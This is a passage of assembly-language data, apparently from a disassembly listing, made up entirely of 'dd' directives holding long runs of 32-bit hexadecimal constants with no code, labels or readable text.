dd 3A5808h, 209EAC8Ch, 6AEA0087h, 887DED46h, 0AD00EB91h
dd 0D7C1A30Ah, 39B8236h, 48CFBA80h, 21D0BB1Ah, 0A4070D28h
dd 95CC3545h, 0EF19A210h, 1C71E0B4h, 645615E6h, 6AC8002Ch
dd 0EADBC52Dh, 4CDFB500h, 0F26B2BACh, 0B76600D5h, 3488824Eh
dd 9400538Ch, 5B8D90C5h, 0E8C302A4h, 0A20A3AACh, 61346E80h
dd 820C98EAh, 9C244D00h, 2CEEC78Ch, 35300E8Eh, 90C037A3h
dd 0F7D0B30Bh, 0F4269BA1h, 63007827h, 0DBA8877Fh, 0F235Eh
dd 3D40AE68h, 9A8DE2E7h, 92003EFCh, 795F7320h, 1427DD24h
dd 0B42CC717h, 0A6D80072h, 0CE304686h, 0C6043119h, 5A788454h
dd 702FC282h, 0D61E17DCh, 47C2065h, 6B2D5025h, 0F11B407Dh
dd 0C77A026Dh, 9E0867D3h, 2E1B1440h, 761D547Dh, 3B40480Dh
dd 4EF3667Fh, 2DBB5CD5h, 20A5AB16h, 769D3244h, 2E839400h
dd 34BFE90Eh, 67E885h, 7DDF3C64h, 0D5F34DECh, 3DA09E00h
dd 8EFB1244h, 4072590Ah, 33CDD603h, 0D800F9A7h, 934AAFC9h
dd 1F24CA3h, 219C1285h, 82FDFB08h, 0CA349720h, 0F2F4A01Dh
dd 0E01802AAh, 0A4B807h, 2758609Ch, 41427506h, 4313F90Fh
dd 2FEF406Bh, 0C10C6h, 0A88223DBh, 0E204B456h, 0F89F4731h
dd 4CEC52C7h, 8EA005Fh, 0A43755DEh, 0F4010E4Bh, 0C5F99B88h
dd 20206EBBh, 0D4D909DCh, 54407C21h, 0AB0731FFh, 0BEF109C7h
dd 0C1BFE2F2h, 4DC0EB49h, 67AE1FE5h, 383589F9h, 3609420h
dd 5761F3E6h, 0D92E1350h, 0C843AD8h, 5A4DEAF2h, 594FFE28h
dd 480298ECh, 6330A3BFh, 0E6BD9490h, 0E497B600h, 0BE2440C2h
dd 0C6A330BCh, 1C04A250h, 68AD7317h, 33B18C00h, 4029CB3h
dd 0B75D4F3Ah, 91DCC076h, 41003003h, 0CF154878h, 8A3BA2h
dd 0A1386636h, 0B3AB4451h, 908F7607h, 1B02EBh, 0A483CD50h
dd 2E6902D3h, 8A896CBBh, 0B0D4E480h, 72FF3BADh, 0AF9B027Ch
dd 0C03FA93Dh, 0CD1C07h, 776B0799h, 0DF8EF039h, 1698EF05h
dd 8143A5Dh, 81433E3Ch, 0CBA93460h, 20E4A21Ah, 2E4AE1h
dd 56742BB4h, 1600AE6Ah, 6EF384F5h, 765FE8h, 36CCC8F0h
dd 0D5FE0ABFh, 4F001070h, 95E64EA7h, 264B9D15h, 40A91Dh
dd 0D51835B1h, 9002117Dh, 5ADE2EE7h, 0BDBC806Ch, 0D4322Ch
dd 2F240562h, 102343A2h, 58BEFF05h, 4080C2A6h, 7A092811h
dd 2A0E2849h, 8A2F0FE0h, 0B8801E15h, 3C9EF8A1h, 0B0EEF000h
dd 0D6AA33D5h, 0D1B6009Bh, 45FEFA76h, 70C15972h, 0CE9A3036h
dd 0D209F4h, 4CBE3EB7h
dd 0D01BD425h, 0C320A900h, 71FE2A86h, 0DED600F9h, 74410FFBh
dd 8A0D7A2h, 0F402B23Bh, 9190D52Ah, 72C4E099h, 0A5FF00F0h
dd 2C124BF1h, 7005051h, 0BA20BD1Dh, 0F75BD6h, 47988D76h
dd 0DAC6A922h, 413CA600h, 3872FB4Fh, 0EFB865h, 9A21B61h
dd 0EF279930h, 56289400h, 0B5FCECCDh, 0A1860031h, 6A6C022Dh
dd 4702AB12h, 36457D14h, 7544C049h, 0AFE33B1Dh, 420FDE80h
dd 0C278B0E9h, 8E105300h, 4FAEE115h, 0F1C30056h, 0A78D7A88h
dd 691C9291h, 6584AC22h, 18C0BECFh, 3FAFE606h, 0E7009EBAh
dd 0A5E00764h, 670080CCh, 8A6DB2F8h, 0C6D6D0h, 89F430A0h
dd 79255A9Ah, 8A004F2h, 0BC097B23h, 0A9B7EE1h, 9C028C64h
dd 60ACA915h, 19E3040h, 6B99BB37h, 605AA110h, 0A004B21h
dd 0C7FF59DDh, 792287Dh, 0A4D12697h, 9181E03Bh, 5C004DF6h
dd 0EE4F017Eh, 25724EBh, 3314841Ah, 0A0FA83FDh, 480330A4h
dd 5BBF61D0h, 0C14FFF93h, 0C94CED1Fh, 3F4DC8D4h, 4A0086D8h
dd 0A1C6BC95h, 0A200F1AAh, 0CD9B7650h, 0F2B278EEh, 0E6BE37FAh
dd 1C600A58h, 549BC0F0h, 85CA499h, 0B109B3EAh, 0C1BD1353h
dd 0EAFC3D50h, 0B3807D5h, 94A75C9Eh, 7B20C0FAh, 6F003037h
dd 0EA910976h, 0A01DA8h, 8C4064BEh, 6B37A4A2h, 6FF86507h
dd 0B3076CE0h, 0AA3E9F30h, 0AEA7004Bh, 8FE90A4Dh, 23E8CB02h
dd 0D33C6090h, 0C76500B8h, 73B4954Ch, 5AE4F5h, 4A594DBEh
dd 3E03981Eh, 92007873h, 0C915DB84h, 0CC2A96h, 0CD25DCABh
dd 140EAFD5h, 84D40200h, 23B7EEBFh, 0EC95005Eh, 7A2B2A6Dh
dd 6E1F570Fh, 4604B320h, 1C80C1D3h, 5B4232h, 0DAEDB27Fh
dd 716C33FFh, 0BBA4F100h, 52796F0Ch, 2A7B1E5Fh, 5419D4Ch
dd 0C1FA269Fh, 8E3AE9B5h, 40772811h, 0B5491DAh, 21C9029h
dd 1AA421B8h, 70C0EC52h, 43848E2h, 2BC1C6Ah, 0F8319A00h
dd 24DF87B0h, 1494C94Dh, 7102AC23h, 86522199h, 0A2800843h
dd 3B266148h, 701083Ah, 60809313h, 2E231020h, 9F06E7Ah
dd 6C8054A4h, 0A13CC75h, 8048392Fh, 0F47DAE9Ch, 85F009Eh
dd 2927AA40h, 0AD038EC0h, 5D72A374h, 8976A194h, 709D4420h
dd 0D46D00D0h, 195F4707h, 0C900F6D3h, 546EE560h, 1F785B43h
dd 1CE26BD8h, 66A000F0h, 7C2F4875h, 0A377401Bh, 0CDE29810h
dd 0AB05009Fh, 0F6A5CC97h, 80F15293h, 0B7170621h, 124FCE1h
dd 0ECC4E0Bh, 0C491F2C4h, 4D008784h, 0B70D2147h, 3B0B12Ah
dd 0B585FDA1h, 82E85AABh, 0D8003677h, 3CDEEA7Ah, 0EC664Bh
dd 0BA9574DAh, 0E65EB4E7h, 0A64C6201h, 0E3F4BD23h, 2308B20h
dd 0B617EC14h, 0C840799Bh, 6E00896Ah, 0CF81CB1Fh, 0EDBF6Ch
dd 0ACD2DFF6h, 31A439D0h, 4B9BE800h, 370DBB1Ah, 0F8577E02h
dd 42E90ECDh, 801D6E61h, 0F8453A93h, 970B76C2h, 0E05625EBh
dd 6D4521Ch, 575BAE9h, 70B61A36h, 34678800h, 4824DDh, 97F27695h
dd 1873B64Dh, 997D3B0Fh, 8B445h, 0EFA79F87h, 0D65CF8h
dd 16281A77h, 0C70AD33Ch, 7D5D8000h, 0CDFA0239h, 3150074Ah
dd 618C1B44h, 32AFEAC9h, 747E2600h, 800D030Bh, 0C1CB60C0h
dd 8C800190h, 0C0CC3879h, 6A646062h, 0C478EF00h, 86F19352h
dd 8E20148h, 5F14CEF3h, 0A3B460D5h, 0D6F22D00h, 0B91C94CAh
dd 30E25859h, 4A8FEA00h, 53337296h, 0BD955A00h, 761093E7h
dd 8772F9h, 0B5A52331h, 0BAFA4BA3h, 0DC0FB900h, 0EFAD19DDh
dd 664602BDh, 51D30ABBh, 0C4214860h, 89BFE600h, 7FB193ACh
dd 0EB6203EDh, 0C6F16955h, 0C97A46E1h, 0DCA7CC95h, 840FD77Eh
dd 0E0CE22A2h, 0D65F639Ch, 0B4C70196h, 4198323Fh, 6878E8h
dd 0A01A6188h, 9A351Ch, 4CF10FBDh, 11A73963h, 0B8821F00h
dd 0B322FF70h, 8035076Fh, 500849BAh, 9C196B50h, 6677E00h
dd 336D523Bh, 25970E0Eh, 0C3FE4138h, 0FA6E6950h, 7B586800h
dd 0FDEF8573h, 46E705CFh, 919AF31Ah, 0E166E100h, 79F7F088h
dd 1985FC31h, 2040C009h, 1DA4C7AFh, 0C85144h, 9431F340h
dd 0F07C536Eh, 23BDD925h, 0E0FD7FA0h, 9645381Ah, 0E33B86C4h
dd 0B80021D2h, 56FA9F27h, 247B4CADh, 9852Fh, 8EA1BBCFh
dd 1CA0483Bh, 10E3EED9h, 1D4CCD42h, 0C956A02h, 0B1603E1Eh
dd 23617C00h, 0AA0CFD7h, 0FFF900E4h, 0C9D4E1DEh, 0BE032C03h
dd 2DC62545h, 0EDF7E804h, 0DDF03BDh, 0FE09E7C3h, 372403B8h
dd 0ADAB6C06h, 717305h, 8F8C75BBh, 47B3F435h, 45F59D00h
dd 0B9F0DBE0h, 48380C15h, 3EA836C5h, 27B2C700h, 9DA0E3A8h
dd 38090064h, 37297D44h, 794B58DEh, 5F3B5CD0h, 32D70167h
dd 700EC1E7h, 71BC7Dh, 0AF0A0C66h, 523F662h, 97BA8E42h
dd 43CAC70Fh, 0D1CB4D1Ch, 2BC04900h, 0BF50817Ch, 38430735h
dd 400F7E7Fh, 89C5235Fh, 0AC0033ECh, 53C744BAh, 0EAA30E6Ch
dd 23B8ECh, 0E38B6179h, 6DE78646h, 59C0B17Dh, 96F57F82h
dd 0F9CA0015h, 1941E72h, 0C3C500Bh, 8A709916h, 76D8E0B1h
dd 97B11615h, 0A1750007h, 4C26E447h, 5BA1300h, 0B06AD6A0h
dd 1CAE4DAh, 0E40753C5h, 0F3C93F3Ah, 9B1CA9F8h, 13E3B100h
dd 8A532376h, 2EBE3B42h, 6738433Ah, 4C0FDC3Fh, 0ADC09F7Fh
dd 935E8DBh, 0B8EC2A0Fh, 0B4794361h, 7390039h, 0D128B212h
dd 0A219BF09h, 0FF086186h, 3D8C2180h, 93CC33B2h, 5BB11E00h
dd 6DEAE41Ah, 6371002Fh, 0ED5E96CBh, 0BFF8B646h, 2D4380C1h
dd 40BC892Eh, 7C342A0Fh, 0C087A340h, 1F3A0B4Ch, 0B12C30C3h
dd 0F75ACFFh, 3F515B44h, 130BE5A1h, 0FC809D06h, 0BD3B2F40h
dd 3B7DDE22h, 89006DA3h, 0A54923ADh, 0BA1F1930h, 0CE800E37h
dd 4D4BEDD5h, 0DB58E8E0h, 480160A0h, 4FA4D657h, 18814B92h
dd 0B6F0634h, 0DE2180BCh, 56384943h, 315FEC62h, 0C4087A39h
dd 0FD208068h, 0DCCD493Ch, 0E9FF0052h, 9E25F71Eh, 0AE03E5F0h
dd 0BC6AB5A8h, 8263977Ch, 2279015Dh, 0E8111304h, 0C393702Ah
dd 3059E23Fh, 2C1D21BBh, 877313h, 1EC873FDh, 6FB5054Dh
dd 0A876DE30h, 81C657h, 1B331D0Eh, 0EBD53B3Fh, 0F5D61E00h
dd 0B58B6BB7h, 0C3EF0041h, 1BF85632h, 78007AFCh, 3F4FCCF1h
dd 2747D5Ch, 196F7E5Dh, 85E0188Ah, 0CC25A486h, 1E68D855h
dd 0C003259Bh, 699337E0h, 76004BAFh, 6E134EC3h, 756EEA5h
dd 989EBF8Dh, 4797404Fh, 0A604C632h, 5E107E6h, 25635D81h
dd 957BDCh, 64FCFB37h, 2DDD2256h, 0F2AC900h, 0D71F0146h
dd 80FF3D87h, 0C2FDA800h, 3C5F75C6h, 1A683Ch, 7A66ADA6h
dd 36DB09h, 0B3673EF5h, 615C6D59h, 7807A000h, 1565B5ECh
dd 9DD90019h, 7B810E3Fh, 5702EEF4h, 0B5E576DBh, 0A01860E8h
dd 0AE543AA7h, 4100E93Ch, 1ACA379Eh, 40184C84h, 0DD0897E2h
dd 6F20C1A3h, 0DC7B3786h, 8F0053BBh, 44E3908Dh, 0B0782F54h
dd 0F7550C8Fh, 6151B366h, 2292FF00h, 6EF8B63h, 0DAAE01F0h
dd 0FAE47C76h, 0FC881A9h, 0F559115Ch, 49A03087h, 0B9EB30A4h
dd 54339583h, 0B6DB0947h, 0CCA93920h, 0C5858780h, 3689EEAh
dd 5AA32E13h, 3C551900h, 50245E5Bh, 0E8E8CD9h, 40E654E8h
dd 292F10D8h, 0F87F5100h, 41A6431Fh, 39A400A8h, 77DD6A04h
dd 0B019E73h, 0F525C916h, 7D02727Ch, 528604B5h, 10B1E7h
dd 80C2EB54h, 7019294h, 0DB09AC7Eh, 8C4D78h, 53C2722h
dd 83CA0080h, 7330ED7Bh, 0EE0033E7h, 0DDACE4Bh, 1F70A04h
dd 6B3B02E1h, 0C0CA915Ah, 0D200ECE5h, 9DA4DCA9h, 5E68ADFh
dd 5C493675h
dd 452B80C2h, 990156EBh, 33BFB442h, 0C03FB5F5h, 0F0EA34AAh
dd 801F1039h, 5208661Eh, 1F1DAACBh, 40D9EEF7h, 7DE0B36Dh
dd 0BF00CD61h, 1F09346Bh, 1DE30301h, 0C065906Ch, 6D0F71D3h
dd 6F03E449h, 92F78CAh, 0E2BF3E1h, 40C0F228h, 0EC92CB20h
dd 0FB001FE9h, 29D85E70h, 0E39E9F8Bh, 38D7D8h, 0BC2FE258h
dd 2F51EABh, 7201EA77h, 0FDA43C57h, 2E70BA20h, 0D21700A1h
dd 0C6B60E58h, 0A2010D32h, 0DA77433Fh, 8BECB2A9h, 3AE30069h
dd 0D325A6E9h, 3B0A2363h, 0CC7B7AEDh, 0A793600h, 537446Fh
dd 0CB753032h, 0C266C031h, 0DE03F7CCh, 0FB204170h, 918CC8BCh
dd 6990C0ADh, 920D2DC4h, 89840300h, 0D4DEA5C8h, 3B250938h
dd 1821F91Ch, 704A4DBFh, 930008DEh, 86C96C61h, 5C6970h
dd 208A2522h, 0A6E60E12h, 0E08B58CEh, 0AEAC9FC4h, 615300D8h
dd 84EC3D7Ah, 0BB0065E7h, 0C6F9464Ch, 0F7393Fh, 0A6B015C0h
dd 2AD63574h, 4057DF00h, 6D7D51FBh, 8D29029Eh, 0C837542Bh
dd 5D468480h, 1817F29Fh, 43A96679h, 0FB1C2607h, 8BE520DEh
dd 98C21D7Eh, 43550B11h, 3852B88Dh, 0F80AF84Bh, 600700D3h
dd 0B09CEBAAh, 2000F383h, 9272F6C3h, 1F23F92Eh, 803C98B6h
dd 0B7028C55h, 42679556h, 43B00880h, 70ABF4F0h, 506D1CD9h
dd 0C79B0024h, 7C7E8312h, 0F7E5201Dh, 0D0AC8980h, 0EB8501h
dd 9F1CB49Eh, 0C9DD7036h, 7F7C3A00h, 94605F5Ah, 0D9E8A1h
dd 0D85DBC92h, 4083BAADh, 49004E98h, 4B4F5B04h, 95EF3Bh
dd 0E9325FCBh, 2BA27D34h, 0EC0010E8h, 2FD8E093h, 5D1C9Eh
dd 0D4190448h, 0C085AC8Bh, 4CFB5102h, 4009A7DFh, 0BC3EAFh
dd 3975DE12h, 0E0187AB5h, 602A6E00h, 3F16B9CDh, 0DD90381h
dd 92A2595Ch, 0AF1CD0BFh, 7400EDCAh, 9F7AF28Ah, 1E9020D1h
dd 8FBF2452h, 0A52046D2h, 32253AAAh, 0D9006575h, 0D78D9A8Ch
dd 5B9CF55h, 3EE1B4E3h, 0D48C00F7h, 1BD2FBC6h, 0A133E000h
dd 0AA1CE999h, 0EFDD060Ch, 0E0BB15CCh, 8364683Eh, 0D4DA13BAh
dd 87580062h, 8E1A4553h, 0F501CC14h, 0DD49F9B8h, 5A20566Eh
dd 7E507BBh, 0B04D3D77h, 66BA1891h, 0F05C6F7Eh, 0E86E1865h
dd 0EA921h, 401D1EDDh, 49D9366h, 0E02518CEh, 0CDC84357h
dd 9572D8h, 0FE24AE69h, 0AAC5D43Ah, 62143300h, 78CC075Ah
dd 0AD6D121Ch, 68AE0BCBh, 0AF409E0Fh, 42EC31E2h, 5CDC3000h
dd 0F5C5E36Ch, 93B401C8h, 0FBEDFA4Fh, 0E051E818h, 0ECC74E0Eh
dd 2985AC06h, 1A50060h, 0CD04224h, 7D24C978h, 3A48EEh
dd 0EBB9B455h, 16488ABh, 2B3FA480h, 0E0770B6Eh, 0EEA42DEh
dd 0CE5EC824h, 4133BB00h, 18E32D3Ah, 12C1AA71h, 0D8394772h
dd 833939FFh, 0A53F946Ch, 0AC6EA8D9h, 0CBE03EBh, 22CFBA89h
dd 8EF42FA0h, 0E80012E4h, 0DE16D4F0h, 1714F611h, 0EBBF1E7h
dd 1980E2BFh, 0EB922EAFh, 7430C51Eh, 3AEEEF00h, 10FD67h
dd 16D37A28h, 99FE927h, 630D4B0Fh, 0EBC14099h, 76D1E25h
dd 389A13F2h, 5485904Fh, 331E40CBh, 1C0426F0h, 0FB87EFh
dd 2A809D68h, 0DA00538Ah, 0AC74AE5Fh, 6FA5C6h, 0DF9D9F0h
dd 0D154238Dh, 0E3C33200h, 0AA55EBA3h, 368E00B5h, 0F6B37E17h
dd 8300A9ABh, 3AA00F8Ah, 0E6AF2924h, 589401A5h, 68187F1Ch
dd 7DC080D9h, 0FB90CB64h, 22523869h, 0E3406081h, 0C089359Bh
dd 9A001F08h, 74665793h, 13BB1CEh, 0A325A7FCh, 0D1CB9E47h
dd 400E8E20h, 17CCA572h, 58628400h, 0FC6BCE6Fh, 1974A5h
dd 0D8E6F1CFh, 10CC09A3h, 68148430h, 0A0C970B5h, 92A6DFh
dd 0C46D63B8h, 0CF2C86DBh, 0B9FAAD1Dh, 0B8C67C0Ah, 43D15D82h
dd 2F9200Bh, 12165371h, 0A300C53Dh, 0EB95A6C8h, 7BFC0076h
dd 464F0441h, 4B0FFA89h, 478ADE75h, 0A260C774h, 131586A9h
dd 53DD8CAh, 0C3B374h, 0AF655ACCh, 3B07B526h, 60B8721Eh
dd 0E3AC8460h, 6CC70705h, 4014A519h, 735A9E2Ah, 0D7799814h
dd 663F00F3h, 965625D4h, 890EAh, 5E27E190h, 0AAEDCF7Dh
dd 8BF37C00h, 83C5D975h, 0F6390081h, 8DA7EF78h, 349188BEh
dd 73318F00h, 0C111D6h, 37EAD3E1h, 0BBADE2B2h, 0EEB04300h
dd 236B1CD2h, 0C5D00069h, 0A63CD94h, 0A8036051h, 0EC4ADC42h
dd 0AC08C8F0h, 3F240086h, 8171BD32h, 6B0035A7h, 3A12B91Ch
dd 3F9D343Eh, 11603F93h, 0F0B0058Ch, 80EC503Fh, 88C11B5Fh
dd 7B71B995h, 0D6A8005Bh, 0ECB40CB2h, 0EE0007B5h, 9A61CF5Eh
dd 0EFC454ABh, 8D099440h, 95BE0029h, 0FEB7DE51h, 2817D191h
dd 7F00EC99h, 7057697Ch, 3C2EC0CAh, 0AFA37D11h, 2400B890h
dd 6CB56571h, 0E276B83Bh, 0AA32000Eh, 5C553F5Fh, 331EA611h
dd 0A802F0Bh, 44E50DCDh, 43F3075Bh, 2264EE09h, 8814126h
dd 0EC4D5767h, 35039FFFh, 0F9247566h, 98AE8B5Ah, 3BD3E7h
dd 5B3195C4h, 0A212DC28h, 0C8DA9800h, 0A66272ECh, 3EBAECD8h
dd 8200056Ah, 28AF67B9h, 530BCD25h, 74B5FD30h, 50C800E5h
dd 19A4BA7Dh, 113B29E4h, 3D070443h, 0C48709B3h, 0B5FF9CC1h
dd 4F26E99Fh, 15AE79ABh, 2CF77D80h, 5E23206h, 7500B0F8h
dd 8D385AECh, 0A0719C0Dh, 17E50A1Ch, 0BD9D09h, 0F6ACF0B1h
dd 410DD1BAh, 4131C99Ah, 300AE98Ch, 0B1F8AF78h, 7947A084h
dd 4CB0C4h, 4969DDCFh, 531900Dh, 0AC8A320Eh, 2540A193h
dd 5920910Eh, 3CF21DE6h, 0BA734094h, 6BAC7263h, 0C0F849ECh
dd 99A95D07h, 79E0564Fh, 1D9F5348h, 14B7C6h, 0BDE56631h
dd 853EEAD4h, 1E6B1EDAh, 6235BCC0h, 31ADE1Dh, 51AD8605h
dd 7790A47Eh, 0BA007A6Ah, 2AF280F5h, 168045Ah, 0CAB83A20h
dd 0E801C3BBh, 600040A2h, 0C222A31Bh, 96C15Bh, 788EE4F6h
dd 0E5735C56h, 8AACD51Dh, 0C3DE853Ch, 7C80E9CCh, 0DDFAA5h
dd 225D36DFh, 571337DBh, 9839ED2Ch, 0A0B8410Eh, 0FF3C2D30h
dd 44AA00FDh, 4DA54679h, 663A2EBFh, 24AD809Fh, 0D71EB125h
dd 0DD970EDAh, 0D834D89Bh, 4CE76D00h, 0EFF7F4E8h, 5C66A600h
dd 0D11789D2h, 3F0492B6h, 3E801BD6h, 70B09186h, 2E30B447h
dd 4628A1F3h, 73C77ADh, 3A934579h, 6CC9B195h, 0E450829Fh
dd 405EBD19h, 304B0B1Eh, 7859B7D0h, 8F17830Ch, 0AE006F15h
dd 0E24721DFh, 0FE4C00C2h, 0BD93677h, 0B848A806h, 82AF0554h
dd 14903CC4h, 8B4D2Eh, 9E8A3A39h, 0D6B578Dh, 0B2E10800h
dd 0EA692FA1h, 82B30FDEh, 0FD732Bh, 0CB0AAB48h, 3C0E9209h
dd 802E29C7h, 0DE39EF1Bh, 0B12100F5h, 2491F6BAh, 6E707247h
dd 63A39000h, 8D97F018h, 49821D52h, 0D505407Ah, 0B326FE3Ch
dd 0C33020C0h, 7AB10CBh, 0AB94D9Bh, 48C9A0C8h, 0F250B7FCh
dd 28C062C0h, 9CEE2C2Eh, 81B30031h, 96284B84h, 6F0085D1h
dd 5073895Ah, 0E05CBD35h, 0D6794Ah, 0CEB7A263h, 0B1D7FE23h
dd 3B4F410Dh, 5CE0788Ah, 3F700E26h, 820CFCFBh, 6E00A5B1h
dd 764BDB08h, 429E55h, 9F9BE5Bh, 0BDE150EBh, 0F1E98C00h
dd 72E2A8B9h, 18EC716Fh, 40A2E789h, 0BD014A8Ah, 3EE0FFD5h
dd 1983EA01h, 8417242Ah, 0EE7E80F4h, 5B00CEADh, 83DAA75Fh
dd 0FD96D691h, 1F49DC0h, 649E0A29h, 0C8FB89F7h, 3E002032h
dd 0FE56BF40h, 110BDA4h, 0FF637C98h, 0D0C26280h, 0B60F8A30h
dd 40944850h, 0CA4FCC77h, 7F7B1CC8h, 51440CD1h, 4A54510h
dd 87826055h, 0ED005B29h, 78287EDAh, 5D58D7h, 2C0D9A23h
dd 187A9B38h, 48ACE303h, 0C4744A2Eh, 6AD17303h, 0F529FCB8h
dd 7E71DF1Ch, 64F79F0Fh
dd 3680F35Fh, 0B0AE64F8h, 0DC900077h, 0FD9ECCDAh, 0FA00CF50h
dd 0EDF82993h, 196751h, 1348A6C1h, 2D5EFE66h, 0CDBADB15h
dd 2BF4ED70h, 110DC50h, 0D253C1C7h, 86D9F8E4h, 1EE0EB4Ch
dd 51C0AC28h, 780B70Fh, 0DFD6322Fh, 0CE11CC29h, 2B01ABC5h
dd 0DEA411B4h, 44780417h, 0F744CC13h, 0E1A044B3h, 44AAA444h
dd 134ACB0Fh, 0A5BA083Ch, 1914B894h, 0FFA124EFh, 0A4A92841h
dd 3510BC12h, 1B29C41Ah, 921844B6h, 33427048h, 0B5E72219h
dd 52B13C21h, 11DA5401h, 0C312F83Dh, 11FF5C11h, 3E912851h
dd 20AF44FBh, 1B7C7F5Bh, 802C29C8h, 5B92B920h, 8F004951h
dd 9A31222Ah, 0EF5AB3h, 9C1A78E0h, 69B0814Ch, 0E53F6A01h
dd 0D710B508h, 562CF4h, 1319CBF0h, 55BAF1B4h, 45443C00h
dd 4A7762DDh, 0F5C10ED0h, 0F0E01F42h, 6E8FEDE8h, 0A0D8AE00h
dd 877CA24Fh, 587659h, 0AD49081Eh, 504EE004h, 0DC82B2Ch
dd 0E1CD4600h, 19ED35h, 0BC0D6D29h, 5738AFDFh, 1D0074F0h
dd 0EF437B99h, 77A52Fh, 682CE3Ah, 7ED6C815h, 7B117001h
dd 132703DDh, 65F43825h, 0A56F03F5h, 99A41B4Fh, 73CF16E8h
dd 60226C00h, 0C25FD0B0h, 20A63C1Dh, 0F4A86480h, 77B76526h
dd 0A90C1900h, 0A6379DC6h, 6BA5029Fh, 0D727EDDDh, 97F6C40h
dd 9B2E6201h, 0EA40655Bh, 3BF56E8h, 0BDD63FD1h, 0A4834C1Bh
dd 0B0E14EB0h, 51E51900h, 543EC9B7h, 8083036Dh, 1E536627h
dd 90D016C8h, 2DE7A000h, 9EC72BA2h, 0E1A0A082h, 78FC3C26h
dd 62236100h, 0E7D533F2h, 472E12F8h, 0A800F8E5h, 9351BEB2h
dd 2D4500D3h, 0AF39D62Bh, 0C7006421h, 2F6E1FAEh, 5C2A9E96h
dd 0BC008DA7h, 0F2135CD1h, 71243D5Ah, 0D830489Fh, 310E168Dh
dd 0CEA84F84h, 9BE5C815h, 3967A700h, 0E3CDDF95h, 0E11D0096h
dd 898F4A3Ah, 56071161h, 1664CE52h, 0D308ECE0h, 977154h
dd 1FB2F72Ah, 58DF8C99h, 7D523800h, 44C3C6FCh, 162100F1h
dd 0D8E7CB1Eh, 0C100AAC9h, 1BA0D7EAh, 0B5F5ADh, 0C8FB72D4h
dd 99FD603Eh, 71F22F6h, 7A4002C4h, 45788A51h, 3B9F0EC9h
dd 4D40C6B2h, 659920F1h, 68135A01h, 270452ABh, 1F9C3ADCh
dd 44D32E8Dh, 8046A535h, 0FE75414h, 0FBDF7300h, 0AE5F7174h
dd 20AF016Ch, 57EAD880h, 81622028h, 0C67FC8A0h, 7B8D3600h
dd 0B61CAA71h, 0C7FE2E2Fh, 1AAE0017h, 0FA7386A1h, 3A403906h
dd 7E649148h, 0B1BF006Ch, 10EDBB94h, 7A03097Bh, 0BD307F0Bh
dd 77300176h, 890CBA69h, 0A9EC4046h, 0EB1D632Dh, 34001F75h
dd 4461D837h, 0FAE73F03h, 28AD2005h, 0ABEBC030h, 27003FCAh
dd 99C932A1h, 98CB9Fh, 64B435E0h, 85813CDCh, 0BF2F2700h
dd 26EA9533h, 3BA1010Bh, 36B1D0C6h, 0EDD8309Fh, 9700A6F4h
dd 0C5D3EF2Eh, 0DE4A3Dh, 0B32665A2h, 0B05F6084h, 0A4FACD0Fh
dd 0E301579Eh, 25C31F0Ah, 7F3CF970h, 0D07600C8h, 92F1DD24h
dd 14989EDAh, 53B6C300h, 1D72B06Dh, 9820E3E9h, 1A990087h
dd 65E3D808h, 0BB00E04Ch, 5F8B7CDFh, 987EB574h, 0AA3D0028h
dd 0D80E2561h, 0AD00CF98h, 93900DCBh, 39AF4C8Bh, 384DBBD6h
dd 0D13AF70Fh, 13BE4061h, 48396054h, 30001090h, 9ABCC387h
dd 1252A17h, 230183E1h, 0C27C4E64h, 0BC80F842h, 63599C40h
dd 6CABE400h, 6BE5122Dh, 7A0B0A45h, 394E815h, 0D41A2C84h
dd 0B135C0FFh, 190029ECh, 0F64D0E34h, 6079C8h, 9AB5ED22h
dd 0AA9D5736h, 0A3A86504h, 0C0AB472Dh, 0E1F2ECCEh, 6A1D247Ch
dd 0CF8028E5h, 16FB6E44h, 7DD7001Fh, 3458455Fh, 84003EA9h
dd 6AEC0C94h, 8E2F90h, 8B43CEAh, 0A30BA150h, 0FC028D2Ch
dd 21577A0Ch, 0DA5002Bh, 3CDF8A7Fh, 48E68112h, 0C2742D07h
dd 67805864h, 95DAD7h, 0A0D07891h, 0AAEDA12Bh, 0A8240D00h
dd 0DF54CB59h, 0C2081C88h, 1066E1h, 7404C73Dh, 4D1D2DFFh
dd 164046FEh, 0A957D78Ch, 0FC8E1CC5h, 32CDC114h, 0C81F794Bh
dd 66003B31h, 26569E41h, 1383C86h, 8EA74463h, 0B3275Ah
dd 5407731Ch, 3BE1ECFCh, 5222AA23h, 0FD4E3B01h, 462F982Ah
dd 132ACBE5h, 9C1C005Ch, 0B4513D92h, 127D709Dh, 0EBC5C0h
dd 0BED94730h, 0E7F96C3h, 94882E2Ah, 857D6003h, 901D6337h
dd 6BC224Bh, 50C5A62h, 4F0154B4h, 9F58D146h, 67E86880h
dd 0C9A307D9h, 0C0F17BE7h, 570EEF5Fh, 0BB445C1Fh, 401B39Dh
dd 0A4C8072Fh, 1D6316F0h, 40F782FBh, 0EF5C56CAh, 1A4C8965h
dd 4E27004Ah, 0E42C907Bh, 0FACC0116h, 0B5D594A5h, 0A2802430h
dd 0B7E09E00h, 0BD84B0Fh, 3FA3000Dh, 5A72AD59h, 38008B70h
dd 0EF9E0586h, 12356CC5h, 40796B31h, 3A97F9E4h, 511EB813h
dd 0F02D007h, 60E00B41h, 0F724568h, 76DE1446h, 29084076h
dd 0A044ED4Fh, 83A4D500h, 7C4A9166h, 0DE420469h, 8037FE63h
dd 98827FE4h, 1906E4Ch, 741E9F11h, 0A0C496BDh, 0BC4A5803h
dd 0FEAD0600h, 0A8415CD9h, 30603300h, 3B4F2F1h, 2F29829h
dd 0A6BCB94Fh, 38C4932Ch, 0CC564800h, 0BD1E0917h, 0B75500C2h
dd 0A04331FFh, 5A00E9C9h, 6408A7A8h, 1593A0Ah, 0FD670E19h
dd 0CE0FEC76h, 0AF58E0C0h, 554CF402h, 43735917h, 2F42A893h
dd 7F06001Fh, 0C09D0E48h, 6300A685h, 0B944512Eh, 67B0D5h
dd 0F60372F1h, 0CD685BE8h, 467E1A00h, 0CBD09F6Fh, 0CF6D006Ah
dd 2A0B75DAh, 99015CEDh, 0D7DD4709h, 0B8CBA88Bh, 38C931BEh
dd 6993E7DCh, 5E5800F4h, 0FC81AC01h, 83E33Ah, 0EAE1DAF8h
dd 9EA573h, 0B551F971h, 0AFD796B1h, 7B75BC07h, 0E9C087DFh
dd 0E02F675Fh, 44E200C3h, 66970EA4h, 9205FE75h, 62FB4CAAh
dd 0B06EB80Ah, 9B2FEA41h, 0ECE929E4h, 0EB7D8Ch, 0F327C9B2h
dd 0B44DB74h, 0D8FE49h, 8FC44E60h, 1E846611h, 0C7300CEAh
